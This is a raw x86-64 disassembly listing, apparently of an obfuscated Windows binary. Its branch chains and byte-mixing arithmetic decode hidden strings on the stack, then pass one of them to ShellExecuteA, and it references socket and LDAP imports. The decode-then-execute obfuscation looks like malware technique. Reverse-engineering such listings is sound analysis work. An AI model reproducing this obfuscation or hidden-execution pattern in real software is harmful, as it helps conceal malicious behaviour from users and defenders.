imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 0x6f
jmp 0x1400c22c5
je 0x1400c2ce4
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c2c61
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c2c32
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c2bf5
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c2bd6
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400c2d46
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400c22fc
lea ecx, [r10 - 0x4d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x1b
jmp 0x1400c2330
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c2b94
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c2b7d
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c2b63
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c2b36
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c2873
nop dword [rax]
lea rcx, [r9 + 0x64]
cmp r8, rcx
je 0x1400c2859
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c2834
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400c280e
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c27f1
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400c27d1
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c27b1
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c2797
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c277b
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c274e
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c2340
mov r8, rcx
lea r9, [rcx + 0x42]
lea rcx, [r9 + 4]
cmp r8, rcx
jb 0x1400c2d2a
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c2d0e
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c2522
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c2508
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c24ee
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c2707
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c26bf
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c2685
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c265f
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400c2340
mov r8, rcx
lea r9, [rcx + 3]
lea rcx, [r9 + 0x3e8]
cmp r8, rcx
ja 0x1400c2632
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c2616
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c25fc
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400c25e0
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c25c0
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c25a3
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400c257d
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c2558
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c253e
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c2340
mov r8, rcx
lea r9, [rcx + 0x200]
jmp 0x1400c2340
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x45
jmp 0x1400c2330
lea ecx, [r10 + 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x67
jmp 0x1400c22d0
add r10b, 0x11
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x77
jmp 0x1400c2260
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
jmp 0x1400c2ba9
add r10b, 0x4a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 6
inc r9
dec rbx
inc rbx
jmp 0x1400c2243
sub r10b, 4
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c2243
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c2c0e
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c2c46
add r10b, 0x12
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7e
jmp 0x1400c2c49
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5c
jmp 0x1400c2c79
add r10b, 0x76
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3a
jmp 0x1400c2ca4
add r10b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x18
movzx eax, byte [rbp + rbx + 0x2a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c2243
sub r10b, 0x1b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x43
mov byte [rbp + rbx + 0x2a0], dl
inc rbx
jmp 0x1400c2243
lea ecx, [r10 - 0x69]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x21
cmp r9, 0xa
jb 0x1400c2676
lea ecx, [r10 - 0x76]
movzx eax, cl
and al, r11b
mov edx, Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x1400c2ba9
lea ecx, [r10 + 0x49]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
inc dl
cmp r8, 0x1000
jae 0x1400c2b04
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400c2a26
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x72
jmp 0x1400c269a
lea ecx, [r10 - 5]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x23
lea rax, [r9 + r8]
cmp rax, 6
je 0x1400c2b20
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x1400c294e
lea ecx, [r10 - 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x73
jmp 0x1400c26d3
add r10b, 0x32
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5e
movzx eax, byte [rbp + rbx + 0x2a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c2243
sub r10b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3c
jmp 0x1400c2ca4
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1a
jmp 0x1400c2c79
add r10b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c2c49
sub r10b, 6
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c2c46
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c2c0e
add r10b, 0x5e
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c2243
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
inc r9
dec rbx
inc rbx
jmp 0x1400c2243
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4e
jmp 0x1400c2ba9
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400c2896
lea ecx, [r10 - 0x59]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x6f
jmp 0x1400c271c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c28d0
add r10b, 0x66
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x2a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c2243
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c28f5
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
jmp 0x1400c2c49
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c2924
add r10b, 0x3a
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c2243
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400c271c
lea edx, [r10 - 0x2a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c2ba9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c2971
lea ecx, [r10 + 0x19]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x51
jmp 0x1400c2ba9
inc rax
cmp r8, rax
jne 0x1400c299e
add r10b, 0x67
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x2f
inc r9
dec rbx
inc rbx
jmp 0x1400c2243
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c29c9
sub r10b, 0x4b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0xd
dec rbx
inc rbx
jmp 0x1400c2243
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c29ec
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7b
jmp 0x1400c2c79
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c26d3
sub r10b, 0x77
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x41
movzx eax, byte [rbp + rbx + 0x2a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c2243
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c2a60
sub r10b, 0x34
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x2a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c2243
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c2a86
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c2c79
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c2aab
add r10b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1c
jmp 0x1400c2c46
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c2ace
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3e
jmp 0x1400c2c0e
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c269a
sub r10b, 0x12
movzx eax, r10b
and al, r11b
mov ecx, 0x3f
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c2243
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0xc
add cl, cl
add dl, cl
jmp 0x1400c2c0e
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 0xa]
jmp 0x1400c2c79
add r10b, 0x71
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x17
movzx eax, byte [rbp + rbx + 0x2a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c2243
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x2d
jmp 0x1400c2c79
lea ecx, [r10 - 0x15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6d
jmp 0x1400c2c0e
lea ecx, [r10 + 1]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 7
add r10b, 0x31
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x57
add r10b, r11b
mov byte [rbp + rbx + 0x2a0], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400c2243
lea ecx, [rbx - 0x37]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7f
dec rbx
inc rbx
jmp 0x1400c2243
movzx r10d, bl
lea ecx, [r10 + 0x7b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5d
add r10b, 0x7f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x79
add r10b, dl
add r10b, r11b
mov byte [rbp + rbx + 0x2a0], r10b
jmp 0x1400c2c46
lea ecx, [rbx + 0x2d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x3b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c2243
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
add dl, 9
movzx r10d, bl
sub r10b, 0x33
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x65
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rbx + 0x2a0], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x2c
add cl, r11b
mov byte [rbp + rbx + 0x2a0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x2a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c2243
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
add dl, 0x4d
movzx eax, byte [rbp + rbx + 0x2a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c2243
sub r10b, 0x3d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x55
jmp 0x1400c2240
add r10b, 0x75
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x33
jmp 0x1400c2230
lea r8, [rbp + 0x1610ed4]
jmp 0x1400c2d5f
lea r8, [rbp + 0xef047b]
jmp 0x1400c2d5f
lea r8, [rbp + 0x2a0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [rbp + 0x5b0], 0x5e
mov byte [rbp + 0x5b1], WSASetLastError
mov byte [rbp + 0x5b2], WSASetLastError
mov byte [rbp + 0x5b3], WSASetLastError
mov byte [rbp + 0x5b4], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x5b5], gethostname
mov byte [rbp + 0x5b6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x5b7], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x5b8], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x5b9], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x5ba], 0x68
mov byte [rbp + 0x5bb], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x5bc], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x5bd], 0x61
mov byte [rbp + 0x5be], 0x61
mov byte [rbp + 0x5bf], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x5c0], reloc.WS2_32.dll_send
mov byte [rbp + 0x5c1], 0x78
mov byte [rbp + 0x5c2], 0x77
mov byte [rbp + 0x5c3], Ordinal_60
mov byte [rbp + 0x5c4], 0x7f
mov byte [rbp + 0x5c5], 0x79
mov byte [rbp + 0x5c6], 0x7d
mov byte [rbp + 0x5c7], 0x7d
mov byte [rbp + 0x5c8], 9
mov byte [rbp + 0x5c9], Ordinal_50
mov byte [rbp + 0x5ca], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x5cb], WSACleanup
mov byte [rbp + 0x5cc], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x5cd], 1
mov byte [rbp + 0x5ce], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x5cf], 2
mov byte [rbp + 0x5d0], WSACleanup
mov byte [rbp + 0x5d1], 0x48
mov byte [rbp + 0x5d2], Ordinal_79
mov byte [rbp + 0x5d3], 0x48
mov byte [rbp + 0x5d4], 0x45
mov byte [rbp + 0x5d5], 3
mov byte [rbp + 0x5d6], 0x7b
mov byte [rbp + 0x5d7], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x5d8], 9
mov byte [rbp + 0x5d9], 3
mov byte [rbp + 0x5da], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x5db], recv
mov byte [rbp + 0x5dc], 0x75
mov byte [rbp + 0x5dd], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x5de], Ordinal_79
mov byte [rbp + 0x5df], 0x75
mov byte [rbp + 0x5e0], Ordinal_30
mov byte [rbp + 0x5e1], Ordinal_30
mov byte [rbp + 0x5e2], WSASetLastError
mov byte [rbp + 0x5e3], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x5e4], Ordinal_35
mov byte [rbp + 0x5e5], 0x52
mov byte [rbp + 0x5e6], reloc.WS2_32.dll_recv
mov byte [rbp + 0x5e7], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x5e8], 0x68
mov byte [rbp + 0x5e9], 0x66
mov byte [rbp + 0x5ea], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x5eb], Ordinal_30
mov byte [rbp + 0x5ec], Ordinal_30
mov byte [rbp + 0x5ed], 0x62
mov byte [rbp + 0x5ee], 0x5b
mov byte [rbp + 0x5ef], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x5f0], Ordinal_30
mov byte [rbp + 0x5f1], 0x5c
mov byte [rbp + 0x5f2], 0x5f
mov byte [rbp + 0x5f3], Ordinal_41
mov byte [rbp + 0x5f4], Ordinal_50
mov byte [rbp + 0x5f5], 0x5a
mov byte [rbp + 0x5f6], WSASetLastError
mov byte [rbp + 0x5f7], 0xbf
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5f8], xmm0
mov qword [rbp + 0x608], rax
mov word [rbp + 0x610], ax
mov byte [rbp + 0x612], al
movabs r14, 0x3406643d3f1f
movabs r12, 0x1041ff5323b9b
movabs r15, 0x9c132cb7bd5d
movzx r10d, byte [rsp + 0x31]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
mov rdi, r13
cmp rdi, 0x63
jae 0x1400c3aca
movzx r11d, byte [rbp + rdi + 0x5b0]
mov esi, r11d
nop dword [rax]
cmp r8, rdi
ja 0x1400c3ac1
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c300c
lea rcx, [rdi + r14]
mov rax, rsi
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rsi
add r10, rcx
add r10b, 0x27
jmp 0x1400c3045
je 0x1400c3a57
inc rax
cmp r8, rax
je 0x1400c39fb
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c39c9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c398b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c3967
movzx ebx, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400c3ab8
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400c3079
lea ecx, [rbx - 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x33
jmp 0x1400c30c0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c3923
inc rax
cmp r8, rax
je 0x1400c3902
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c38e7
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c38cc
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c38a0
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c362b
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c3610
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c35e8
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c35c3
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400c35a8
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c358d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c356e
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c3553
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c3535
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c3505
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400c30d0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 9]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c3a9d
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c3a82
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400c32c0
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400c32a2
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400c3284
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c34b6
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400c346a
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c342b
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c3405
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c30d0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 1]
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400c33d5
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c33b6
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c339b
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c337c
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c335d
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c3342
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c3321
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c32f9
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c32de
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c30d0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x400]
jmp 0x1400c30d0
lea edx, [rbx - 0x2b]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2d
add r10b, dl
jmp 0x1400c30c0
lea edx, [rbx - 0x69]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x21
add r10b, dl
jmp 0x1400c3050
add bl, 0x59
movzx eax, r11b
and al, bl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6f
add r10b, bl
jmp 0x1400c2fe0
lea edx, [rbx + 0x58]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x68
jmp 0x1400c3939
add bl, 0x1a
movzx eax, r11b
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400c2fc3
sub bl, 0x24
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 4
dec rdi
inc rdi
jmp 0x1400c2fc3
lea edx, [rbx - 0x62]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x52
jmp 0x1400c39a5
add bl, 0x60
movzx eax, r11b
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400c39df
add bl, 0x22
movzx eax, r11b
and al, bl
mov ecx, 9
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400c39e2
lea edx, [rbx - 0x1c]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3c
jmp 0x1400c3872
sub bl, 0x5a
movzx eax, r11b
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400c3a13
add bl, 0x68
movzx eax, r11b
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
movzx eax, byte [rbp + rdi + 0x5b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2fc3
sub bl, 0x33
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x65
mov byte [rbp + rdi + 0x5b0], r10b
inc rdi
jmp 0x1400c2fc3
lea edx, [rbx - 0x71]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x17
add r10b, dl
cmp r9, 0xa
jb 0x1400c341b
lea edx, [rbx + 0x5a]
movzx eax, r11b
and al, dl
mov ecx, 5
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1400c393c
lea edx, [rbx + 0x51]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x37
add r10b, dl
cmp r8, 0x80
jae 0x1400c383d
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400c3792
lea edx, [rbx - 0x12]
movzx eax, r11b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400c3441
lea edx, [rbx + 0x13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x7b
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400c385e
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400c36f9
lea edx, [rbx + 0x63]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x4b
jmp 0x1400c3480
add bl, 0x42
movzx eax, r11b
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
movzx eax, byte [rbp + rdi + 0x5b0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c2fc3
add bl, 4
movzx eax, r11b
and al, bl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1c
add r10b, bl
jmp 0x1400c3a13
lea edx, [rbx - 0x3a]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6a
jmp 0x1400c3872
sub bl, 0x78
movzx eax, r11b
and al, bl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400c39e2
add bl, 0x4a
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 6
jmp 0x1400c39df
lea edx, [rbx + 0xc]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x54
jmp 0x1400c39a5
sub bl, 0x32
movzx eax, r11b
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
dec rdi
inc rdi
jmp 0x1400c2fc3
sub bl, 0x70
movzx eax, r11b
and al, bl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400c2fc3
lea edx, [rbx + 0x52]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3e
jmp 0x1400c3939
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400c364f
lea edx, [rbx + 0x1f]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x27
jmp 0x1400c34cc
